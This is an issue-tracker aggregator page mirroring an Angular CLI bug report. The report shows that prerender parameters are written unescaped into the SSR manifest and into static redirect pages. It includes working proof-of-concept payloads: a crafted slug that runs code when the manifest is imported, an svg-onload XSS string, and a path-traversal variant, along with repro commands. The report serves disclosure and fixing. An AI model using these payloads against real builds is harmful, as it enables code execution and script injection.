Hacktoberfest 2026:維護者為十月標記出來的 issue,仍然開放、適合新手。 瀏覽 Hacktoberfest issue

Angular SSR Unescaped prerender parameters enable RCE through generated manifests and XSS in redirect pages

未關閉
#34,474 0 則留言 0 個 reaction 已指派 0 人 在 GitHub 檢視

維護者通常 1 天內回覆

@SkyZeroZx 已經在處理了。

開始於 2026年5月24日。

  • #33248 來自 @SkyZeroZx —— 未關閉
  • #34493 來自 @SkyZeroZx —— 未關閉

評估

難度
4/5
預估耗時
3-5 天
新手友好度
53/100
Issue 類型
缺陷
描述清晰度
描述清楚
活躍度
活躍
技術堆疊
angular, typescript

研究方向

Start by reading manifest.ts and utils.ts, where the issue shows values entering generated JavaScript and redirect HTML; trace how ng-routes.ts substitutes parameters into redirect URLs. Reproduce both cases from the linked proof of concept and add or run focused checks for the generated manifest and redirect page. Done means parameter values cannot execute code or inject markup in either output.

由索引模型根據 Issue 內容生成。

描述

area: @angular/ssr
Command

build

Is this a regression?
  • Yes, this behavior used to work in the previous version
The previous version in which this bug was not present was

No response

Description

ng build writes the values returned by getPrerenderParams() into two generated files without escaping them:

  • the server manifest (angular-app-manifest.mjs), executable ESM that the SSR server imports;
  • the static redirect pages generated when prerendering.

Those values are documented as application data, usually read from a service:

const ids = await dataService.getIds();
return ids.map((id) => ({ id }));

So whoever controls that data, such as a CMS entry or a shared or compromised API, controls code and HTML that the build ships. One value is enough:

Value returned by getPrerenderParams() Result
x'(){},[(function(){…})()](){},[`](){(' Runs arbitrary code in the SSR server when the manifest is imported, on the first request of any kind.
x"><svg onload=alert(1)> with outputMode: 'static' Injects markup into the generated redirect page: three <svg onload> elements per page.

Server manifest. manifest.ts interpolates the asset path, which is derived from the route, into the generated module twice: as the object key and inside the import() specifier.

serverAssets[file.path] =
  `{size: ${size}, hash: '${file.hash}', text: () => import('./${jsChunkFilePath}').then(m => m.default)}`;
// ...
  .map(([key, value]) => `'${key}': ${value}`)

A lone ' breaks the module. A value that parses in both positions does more. It closes the key, runs as a computed method name, then opens a template literal that swallows the second, mangled copy:

'product/x'(){},[(function(){import('fs').then(function(f){f.writeFileSync('PWNED.txt','rce')})})()](){},[`](){('/index.html': {size: 975, hash: '5b338b119c4ac504', text: () => import('./assets-chunks/product_x'(){},[(function(){import('fs')_then(function(f){f_writeFileSync('PWNED_txt','rce')})})()](){},[`](){('_index_html.mjs').then(m => m.default)},

node --check passes, the build succeeds and the server boots. The code runs when Node first imports the manifest, which is the first request handled, whatever its status. A 404 runs it too. A few lines above, the same data reaches routes: through JSON.stringify(), where it is inert.

Redirect pages. utils.ts builds the page without escaping:

    <meta http-equiv="refresh" content="0; url=${url}">
    <pre>Redirecting to <a href="${url}">${url}</a></pre>

For a relative redirectTo under a parameterized parent, ng-routes.ts substitutes the value intourl, so the markup reaches all three positions. In a template, {{ slug }} escapes the very same value correctly.

Minimal Reproduction

Repository: https://github.com/SkyZeroZx/angular-cli-prerender-param-injection-poc.

There the values arrive over HTTP from the application's own API.

1. Code execution through the manifest (outputMode: 'server')

// app.routes.ts
export const routes: Routes = [{ path: 'product/:slug', component: App }];

// app.routes.server.ts
export const serverRoutes: ServerRoute[] = [
  {
    path: 'product/:slug',
    renderMode: RenderMode.Prerender,
    getPrerenderParams: async () => [
      {
        slug: "x'(){},[(function(){import('fs').then(function(f){f.writeFileSync('PWNED.txt','rce')})})()](){},[`](){('",
      },
    ],
  },
  { path: '**', renderMode: RenderMode.Prerender },
];
ng build
node --check dist/repro-app/server/angular-app-manifest.mjs
node dist/repro-app/server/server.mjs &
curl -s -o /dev/null -w '%{http_code}\n' http://localhost:4000/
ls PWNED.txt
Prerendered 1 static route.
Application bundle generation complete.

404
PWNED.txt

With slug: "customer's-choice" instead, the build is still green and every request returns 500.

2. HTML injection in the redirect page (outputMode: 'static')

// app.routes.ts
export const routes: Routes = [
  {
    path: 'go/:slug',
    children: [
      { path: 'r', redirectTo: 'target' },
      { path: 'target', component: App },
    ],
  },
];

// app.routes.server.ts
export const serverRoutes: ServerRoute[] = [
  {
    path: 'go/:slug',
    renderMode: RenderMode.Prerender,
    getPrerenderParams: async () => [{ slug: 'x"><svg onload=alert(1)>' }],
  },
  { path: '**', renderMode: RenderMode.Prerender },
];

dist/repro-app/browser/go/x"><svg onload=alert(1)>/r/index.html:

<meta http-equiv="refresh" content="0; url=/go/x"><svg onload=alert(1)>/target">
...
<pre>Redirecting to <a href="/go/x"><svg onload=alert(1)>/target">/go/x"><svg onload=alert(1)>/target</a></pre>

On Windows, ", < and > are not valid in a file name. With a parent that only redirects, such as { path: 'go/:slug', children: [{ path: '', redirectTo: 'claimed', pathMatch: 'full' }] }, appending /../../safe to the value keeps the markup out of the file name but in the page. posix.join() collapses the dot segments for the output path, while joinUrlParts() keeps them in the target, so the page lands at go/safe/index.html and is served at /go/safe/.

Your Environment
Angular CLI 22.2.3
@angular/build 22.2.3
@angular/ssr 22.2.3
Node.js 24.16.0
npm 11.13.0
Windows 11 x64
WSL Ubuntu
Anything else relevant?

No response

主要語言
TypeScript
星號
27k
分支
11.8k
平均合併
1 天 5 小時
30 天內合併 PR
244

環境準備

從這裡開始

  1. 先讀完整個 Issue,再讀專案的貢獻指南。
  2. 在 Issue 下留言說明你要接手 —— 這能避免兩個人做同樣的事。
  3. Fork 儲存庫,在一個分支上完成修改。
  4. 送出 Pull Request,並在描述裡引用這個 Issue 編號。

angular/angular-cli 的其他 Issue

查看 angular/angular-cli 的全部 Issue

相似的 Issue

更多 TypeScript Issue

把新 issue 寄到你的電子郵件信箱

精選適合新手參與的 GitHub issue 摘要。